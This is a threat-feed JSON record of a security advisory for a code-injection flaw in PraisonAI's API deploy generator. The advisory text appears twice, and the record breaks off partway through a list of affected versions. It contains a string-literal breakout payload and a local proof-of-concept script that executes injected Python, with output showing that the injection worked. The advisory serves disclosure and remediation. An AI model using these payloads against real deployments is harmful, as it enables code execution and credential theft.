{"success":true,"data":{"threats":[{"id":"b19c8a97-d79f-44f7-87f3-244328a99811","slug":"cve-2026-61433","externalId":"CVE-2026-61433","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source","description":"# API deploy code generator embeds unescaped YAML fields into Python source\n\n## Summary\n\nPraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:\n    ...\n    code = f'''\"\"\"\n...\n        praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n        \"agent_file\": \"{agents_file}\"\n...\n    app.run(\n        host='{config.host}',\n        port={config.port},\n        debug={config.reload}\n    )\n'''\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n' + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n    host='' + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '',\n    port=8005,\n    debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (<side effect> and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n    class FakeApp:\n        def __init__(self, name):\n            self.name = name\n\n        def route(self, *args, **kwargs):\n            def deco(func):\n                return func\n\n            return deco\n\n        def run(self, *args, **kwargs):\n            return None\n\n    flask = types.ModuleType(\"flask\")\n    flask.Flask = FakeApp\n    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {\"message\": \"hello\"})\n    flask.jsonify = lambda obj: obj\n    sys.modules[\"flask\"] = flask\n\n    flask_cors = types.ModuleType(\"flask_cors\")\n    flask_cors.CORS = lambda app: app\n    sys.modules[\"flask_cors\"] = flask_cors\n\n    praisonai_mod = types.ModuleType(\"praisonai\")\n\n    class FakePraisonAI:\n        def __init__(self, agent_file):\n            self.agent_file = agent_file\n\n        def run(self):\n            return \"ok\"\n\n    praisonai_mod.PraisonAI = FakePraisonAI\n    sys.modules[\"praisonai\"] = praisonai_mod\n\n\ndef main(repo):\n    sys.path.insert(0, str(Path(repo) / \"src\" / \"praisonai\"))\n    from praisonai.deploy.api import generate_api_server_code\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.schema import validate_agents_yaml\n\n    install_stubs()\n\n    with tempfile.TemporaryDirectory() as tmp:\n        tmp_path = Path(tmp)\n        host_marker = tmp_path / \"host-marker.txt\"\n        file_marker = tmp_path / \"agent-file-marker.txt\"\n        host_payload = \"' + (__import__(\\\"pathlib\\\").Path(\" + repr(str(host_marker)) + \").write_text(\\\"DEPLOY_API_HOST_CODE_EXECUTED\\\") and \\\"\\\") + '\"\n        agents_yaml = tmp_path / \"agents.yaml\"\n        agents_yaml.write_text(yaml.safe_dump({\n            \"deploy\": {\n                \"type\": \"api\",\n                \"api\": {\"host\": host_payload, \"port\": 8005, \"auth_enabled\": False},\n            },\n            \"agents\": [{\"name\": \"demo\", \"role\": \"demo\", \"goal\": \"demo\"}],\n        }))\n        parsed_config = validate_agents_yaml(str(agents_yaml))\n\n        results = []\n        for label, config in [\n            (\"safe_host\", APIConfig(host=\"127.0.0.1\", auth_enabled=False)),\n            (\"malicious_host_from_yaml\", parsed_config.api),\n        ]:\n            host_marker.unlink(missing_ok=True)\n            code = generate_api_server_code(\"agents.yaml\", config)\n            compile(code, f\"<generated-{label}>\", \"exec\")\n            exec(code, {\"__name__\": \"__main__\"})\n            results.append({\n                \"case\": label,\n                \"compiled\": True,\n                \"host_preserved_by_yaml_parser\": config.host == host_payload if label.startswith(\"malicious\") else None,\n                \"marker_exists_after_startup\": host_marker.exists(),\n                \"marker_contents\": host_marker.read_text() if host_marker.exists() else None,\n                \"generated_contains_raw_host\": config.host in code,\n            })\n\n        file_payload = \"\\\" + (__import__(\\\"pathlib\\\").Path(\" + repr(str(file_marker)) + \").write_text(\\\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\\\") and \\\"\\\") + \\\"\"\n        file_marker.unlink(missing_ok=True)\n        code = generate_api_server_code(file_payload, APIConfig(host=\"127.0.0.1\", auth_enabled=False))\n        compile(code, \"<generated-agent-file>\", \"exec\")\n        namespace = {\"__name__\": \"generated_agent_file\"}\n        exec(code, namespace)\n        namespace[\"list_agents\"]()\n        results.append({\n            \"case\": \"malicious_agent_file_route_value\",\n            \"compiled\": True,\n            \"marker_exists_after_list_agents\": file_marker.exists(),\n            \"marker_contents\": file_marker.read_text() if file_marker.exists() else None,\n            \"generated_contains_raw_agent_file\": file_payload in code,\n        })\n\n    print(json.dumps(results, indent=2))\n    return 0 if results[1][\"marker_exists_after_startup\"] and results[2][\"marker_exists_after_list_agents\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else \".\"))\n```\n\n## PoC\n\nCommand used against current source:\n\n```sh\nuv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI\n```\n\nDecisive output:\n\n```json\n[\n  {\n    \"case\": \"safe_host\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": null,\n    \"marker_exists_after_startup\": false,\n    \"marker_contents\": null,\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_host_from_yaml\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": true,\n    \"marker_exists_after_startup\": true,\n    \"marker_contents\": \"DEPLOY_API_HOST_CODE_EXECUTED\",\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_agent_file_route_value\",\n    \"compiled\": true,\n    \"marker_exists_after_list_agents\": true,\n    \"marker_contents\": \"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\",\n    \"generated_contains_raw_agent_file\": true\n  }\n]\n```\n\nThe `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.\n\n## Impact\n\nIf an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.\n\n## Suggested Fix\n\nDo not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.\n\n## Affected Package/Versions\n\nPackage: `praisonai`\n\nConfirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n\nStatic sweep:\n\n| Target | Result |\n| --- | --- |\n| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |\n| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |\n\nSuggested severity: High\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n```\n\nSuggested CWEs:\n\n- CWE-94: Improper Control of Generation of Code\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n- CWE-116: Improper Encoding or Escaping of Output\n\n## Advisory History\n\nThe closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, \"PraisonAI deploy --type api emits a Flask server with authentication disabled by default.\" That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.\n\nThis is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.\n\nAgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.\n\n## References\n\n- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`\n- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths\n- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler\n- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue\n- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- CWE-95: https://cwe.mitre.org/data/definitions/95.html\n- CWE-116: https://cwe.mitre.org/data/definitions/116.html","cveId":"CVE-2026-61433","cvssScore":null,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","severity":"high","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-116","CWE-94","CWE-95"],"tags":["osv","osv:ghsa-79fv-7hq9-w7xg","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-79fv-7hq9-w7xg","type":"advisory","title":"OSV GHSA-79fv-7hq9-w7xg"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61433","type":"advisory","title":"OSV advisory"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62173","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator","type":"other","title":"OSV web"}],"epssScore":0.0021,"epssPercentile":0.10331,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T19:36:29.000Z","addedAt":"2026-10-08T19:47:39.017Z","updatedAt":"2026-10-08T21:08:31.085Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61433","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61433","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-79FV-7HQ9-W7XG"}],"raw":{"id":"GHSA-79fv-7hq9-w7xg","aliases":["CVE-2026-61433"],"details":"# API deploy code generator embeds unescaped YAML fields into Python source\n\n## Summary\n\nPraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:\n    ...\n    code = f'''\"\"\"\n...\n        praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n        \"agent_file\": \"{agents_file}\"\n...\n    app.run(\n        host='{config.host}',\n        port={config.port},\n        debug={config.reload}\n    )\n'''\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n' + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n    host='' + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '',\n    port=8005,\n    debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (<side effect> and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n    class FakeApp:\n        def __init__(self, name):\n            self.name = name\n\n        def route(self, *args, **kwargs):\n            def deco(func):\n                return func\n\n            return deco\n\n        def run(self, *args, **kwargs):\n            return None\n\n    flask = types.ModuleType(\"flask\")\n    flask.Flask = FakeApp\n    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {\"message\": \"hello\"})\n    flask.jsonify = lambda obj: obj\n    sys.modules[\"flask\"] = flask\n\n    flask_cors = types.ModuleType(\"flask_cors\")\n    flask_cors.CORS = lambda app: app\n    sys.modules[\"flask_cors\"] = flask_cors\n\n    praisonai_mod = types.ModuleType(\"praisonai\")\n\n    class FakePraisonAI:\n        def __init__(self, agent_file):\n            self.agent_file = agent_file\n\n        def run(self):\n            return \"ok\"\n\n    praisonai_mod.PraisonAI = FakePraisonAI\n    sys.modules[\"praisonai\"] = praisonai_mod\n\n\ndef main(repo):\n    sys.path.insert(0, str(Path(repo) / \"src\" / \"praisonai\"))\n    from praisonai.deploy.api import generate_api_server_code\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.schema import validate_agents_yaml\n\n    install_stubs()\n\n    with tempfile.TemporaryDirectory() as tmp:\n        tmp_path = Path(tmp)\n        host_marker = tmp_path / \"host-marker.txt\"\n        file_marker = tmp_path / \"agent-file-marker.txt\"\n        host_payload = \"' + (__import__(\\\"pathlib\\\").Path(\" + repr(str(host_marker)) + \").write_text(\\\"DEPLOY_API_HOST_CODE_EXECUTED\\\") and \\\"\\\") + '\"\n        agents_yaml = tmp_path / \"agents.yaml\"\n        agents_yaml.write_text(yaml.safe_dump({\n            \"deploy\": {\n                \"type\": \"api\",\n                \"api\": {\"host\": host_payload, \"port\": 8005, \"auth_enabled\": False},\n            },\n            \"agents\": [{\"name\": \"demo\", \"role\": \"demo\", \"goal\": \"demo\"}],\n        }))\n        parsed_config = validate_agents_yaml(str(agents_yaml))\n\n        results = []\n        for label, config in [\n            (\"safe_host\", APIConfig(host=\"127.0.0.1\", auth_enabled=False)),\n            (\"malicious_host_from_yaml\", parsed_config.api),\n        ]:\n            host_marker.unlink(missing_ok=True)\n            code = generate_api_server_code(\"agents.yaml\", config)\n            compile(code, f\"<generated-{label}>\", \"exec\")\n            exec(code, {\"__name__\": \"__main__\"})\n            results.append({\n                \"case\": label,\n                \"compiled\": True,\n                \"host_preserved_by_yaml_parser\": config.host == host_payload if label.startswith(\"malicious\") else None,\n                \"marker_exists_after_startup\": host_marker.exists(),\n                \"marker_contents\": host_marker.read_text() if host_marker.exists() else None,\n                \"generated_contains_raw_host\": config.host in code,\n            })\n\n        file_payload = \"\\\" + (__import__(\\\"pathlib\\\").Path(\" + repr(str(file_marker)) + \").write_text(\\\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\\\") and \\\"\\\") + \\\"\"\n        file_marker.unlink(missing_ok=True)\n        code = generate_api_server_code(file_payload, APIConfig(host=\"127.0.0.1\", auth_enabled=False))\n        compile(code, \"<generated-agent-file>\", \"exec\")\n        namespace = {\"__name__\": \"generated_agent_file\"}\n        exec(code, namespace)\n        namespace[\"list_agents\"]()\n        results.append({\n            \"case\": \"malicious_agent_file_route_value\",\n            \"compiled\": True,\n            \"marker_exists_after_list_agents\": file_marker.exists(),\n            \"marker_contents\": file_marker.read_text() if file_marker.exists() else None,\n            \"generated_contains_raw_agent_file\": file_payload in code,\n        })\n\n    print(json.dumps(results, indent=2))\n    return 0 if results[1][\"marker_exists_after_startup\"] and results[2][\"marker_exists_after_list_agents\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else \".\"))\n```\n\n## PoC\n\nCommand used against current source:\n\n```sh\nuv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI\n```\n\nDecisive output:\n\n```json\n[\n  {\n    \"case\": \"safe_host\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": null,\n    \"marker_exists_after_startup\": false,\n    \"marker_contents\": null,\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_host_from_yaml\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": true,\n    \"marker_exists_after_startup\": true,\n    \"marker_contents\": \"DEPLOY_API_HOST_CODE_EXECUTED\",\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_agent_file_route_value\",\n    \"compiled\": true,\n    \"marker_exists_after_list_agents\": true,\n    \"marker_contents\": \"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\",\n    \"generated_contains_raw_agent_file\": true\n  }\n]\n```\n\nThe `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.\n\n## Impact\n\nIf an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.\n\n## Suggested Fix\n\nDo not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.\n\n## Affected Package/Versions\n\nPackage: `praisonai`\n\nConfirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n\nStatic sweep:\n\n| Target | Result |\n| --- | --- |\n| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |\n| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |\n\nSuggested severity: High\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n```\n\nSuggested CWEs:\n\n- CWE-94: Improper Control of Generation of Code\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n- CWE-116: Improper Encoding or Escaping of Output\n\n## Advisory History\n\nThe closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, \"PraisonAI deploy --type api emits a Flask server with authentication disabled by default.\" That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.\n\nThis is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.\n\nAgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.\n\n## References\n\n- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`\n- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths\n- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler\n- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue\n- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- CWE-95: https://cwe.mitre.org/data/definitions/95.html\n- CWE-116: https://cwe.mitre.org/data/definitions/116.html","summary":"PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source","affected":[{"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.78"}]}],"package":{"name":"praisonai","purl":"pkg:pypi/praisonai","ecosystem":"PyPI"},"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.2